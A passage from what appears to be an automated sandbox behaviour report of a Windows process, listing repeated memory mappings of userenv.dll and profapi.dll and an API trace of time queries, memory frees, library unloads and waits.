"\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2610 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2611 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2751 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2752 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2820 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2821 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2884 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2885 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2949 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2950 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2999 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3003 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3077 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3078 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3142 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3143 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3216 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3217 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3283 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3284 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3383 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3384 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3426 start_va = 0x7fef9740000 end_va = 0x7fef976bfff monitored = 0 entry_point = 0x7fef9758194 region_type = mapped_file name = "wmipcima.dll" filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll") Region: id = 3460 start_va = 0xa60000 end_va = 0xa61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 3461 start_va = 0xa70000 end_va = 0xa71fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 3462 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3463 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3521 start_va = 0xa60000 end_va = 0xa61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 3522 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3523 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3605 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3606 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3660 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3661 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3748 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3749 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3866 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3867 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3929 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3930 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3994 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3995 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4057 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4058 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4119 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4120 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4183 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4184 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4258 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4259 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4350 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4351 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4414 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4415 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4527 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4528 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4589 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4590 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4655 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4656 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4742 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4743 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4806 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4807 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4879 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4880 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Thread: id = 82 os_tid = 0xb64 Thread: id = 83 os_tid = 0x860 [0126.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1abbb760, dwHighDateTime=0x1d8a92a)) [0126.012] free (_Block=0x2af000) [0126.012] FreeLibrary (hLibModule=0x71ef0000) returned 1 [0126.013] free (_Block=0x2b1720) [0126.013] free (_Block=0x2ad1d0) [0126.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1abbb760, dwHighDateTime=0x1d8a92a)) [0126.014] free (_Block=0x2aef80) [0126.014] FreeLibrary (hLibModule=0x71ee0000) returned 1 [0126.015] free (_Block=0x2ad2c0) [0126.015] free (_Block=0x2ad310) [0126.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1abbb760, dwHighDateTime=0x1d8a92a)) [0126.015] free (_Block=0x2af0c0) [0126.015] FreeLibrary (hLibModule=0x76d20000) returned 1 [0126.015] free (_Block=0x2b8820) [0126.015] free (_Block=0x2ad360) [0126.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1abbb760, dwHighDateTime=0x1d8a92a)) [0126.016] free (_Block=0x2aefc0) [0126.016] FreeLibrary (hLibModule=0x76b00000) returned 1 [0126.016] free (_Block=0x2b13a0) [0126.016] free (_Block=0x2ad130) [0126.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1abbb760, dwHighDateTime=0x1d8a92a)) [0126.016] free (_Block=0x2aefa0) [0126.016] FreeLibrary (hLibModule=0x7fefaec0000) returned 1 [0126.022] free (_Block=0x2b35c0) [0126.022] free (_Block=0x2ad270) [0126.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1abbb760, dwHighDateTime=0x1d8a92a)) [0126.023] free (_Block=0x2af040) [0126.023] FreeLibrary (hLibModule=0x7fefcf00000) returned 1 [0126.023] free (_Block=0x2b7740) [0126.023] free (_Block=0x2ad3b0) [0126.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1abbb760, dwHighDateTime=0x1d8a92a)) [0126.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1abbb760, dwHighDateTime=0x1d8a92a)) [0126.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1abbb760, dwHighDateTime=0x1d8a92a)) [0126.023] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x493e0, bAlertable=0) returned 0x0 [0126.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1ac53ce0, dwHighDateTime=0x1d8a92a)) [0126.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1ac53ce0, dwHighDateTime=0x1d8a92a)) [0126.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1ac53ce0, dwHighDateTime=0x1d8a92a)) [0126.079] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x26d2, bAlertable=0) returned 0x0 [0126.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af27700, dwHighDateTime=0x1d8a92a)) [0126.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af27700, dwHighDateTime=0x1d8a92a)) [0126.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af27700, dwHighDateTime=0x1d8a92a)) [0126.726] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x25e8, bAlertable=0) returned 0x0 [0126.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af4d860, dwHighDateTime=0x1d8a92a)) [0126.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af4d860, dwHighDateTime=0x1d8a92a)) [0126.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af4d860, dwHighDateTime=0x1d8a92a)) [0126.731] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x25d8, bAlertable=0) returned 0x0 [0126.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af739c0, dwHighDateTime=0x1d8a92a)) [0126.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af739c0, dwHighDateTime=0x1d8a92a)) [0126.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af739c0, dwHighDateTime=0x1d8a92a)) [0126.752] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x129, bAlertable=0) returned 0x0 [0126.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af99b20, dwHighDateTime=0x1d8a92a)) [0126.770] free (_Block=0x2af0e0) [0126.770] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0126.770] free (_Block=0x2b90e0) [0126.771] free (_Block=0x2ad220) [0126.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af99b20, dwHighDateTime=0x1d8a92a)) [0126.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af99b20, dwHighDateTime=0x1d8a92a)) [0126.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1af99b20, dwHighDateTime=0x1d8a92a)) [0126.771] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x11, bAlertable=0) returned 0x0 [0127.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1b51ae00, dwHighDateTime=0x1d8a92a)) [0127.385] free (_Block=0x2aef80) [0127.385] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0127.387] free (_Block=0x2ad3b0) [0127.388] free (_Block=0x2ad270) [0127.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1b51ae00, dwHighDateTime=0x1d8a92a)) [0127.388] free (_Block=0x2af0e0) [0127.388] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0127.389] free (_Block=0x2b35c0) [0127.389] free (_Block=0x2ad220) [0127.389] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0127.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1b5670c0, dwHighDateTime=0x1d8a92a)) [0127.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1b5670c0, dwHighDateTime=0x1d8a92a)) [0127.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1b5670c0, dwHighDateTime=0x1d8a92a)) [0127.423] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0129.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c043520, dwHighDateTime=0x1d8a92a)) [0129.163] free (_Block=0x2aefa0) [0129.163] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0129.164] free (_Block=0x2ad220) [0129.165] free (_Block=0x2ad270) [0129.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c043520, dwHighDateTime=0x1d8a92a)) [0129.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c043520, dwHighDateTime=0x1d8a92a)) [0129.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c043520, dwHighDateTime=0x1d8a92a)) [0129.165] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0129.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c0dbaa0, dwHighDateTime=0x1d8a92a)) [0129.228] free (_Block=0x2aef80) [0129.228] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0129.229] free (_Block=0x2b35c0) [0129.230] free (_Block=0x2ad3b0) [0129.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c0dbaa0, dwHighDateTime=0x1d8a92a)) [0129.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c0dbaa0, dwHighDateTime=0x1d8a92a)) [0129.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c0dbaa0, dwHighDateTime=0x1d8a92a)) [0129.230] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0129.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c506120, dwHighDateTime=0x1d8a92a)) [0129.662] free (_Block=0x2af000) [0129.662] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0129.666] free (_Block=0x2ad270) [0129.666] free (_Block=0x2ad220) [0129.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c506120, dwHighDateTime=0x1d8a92a)) [0129.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c506120, dwHighDateTime=0x1d8a92a)) [0129.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c506120, dwHighDateTime=0x1d8a92a)) [0129.667] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0129.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c5c4800, dwHighDateTime=0x1d8a92a)) [0129.746] free 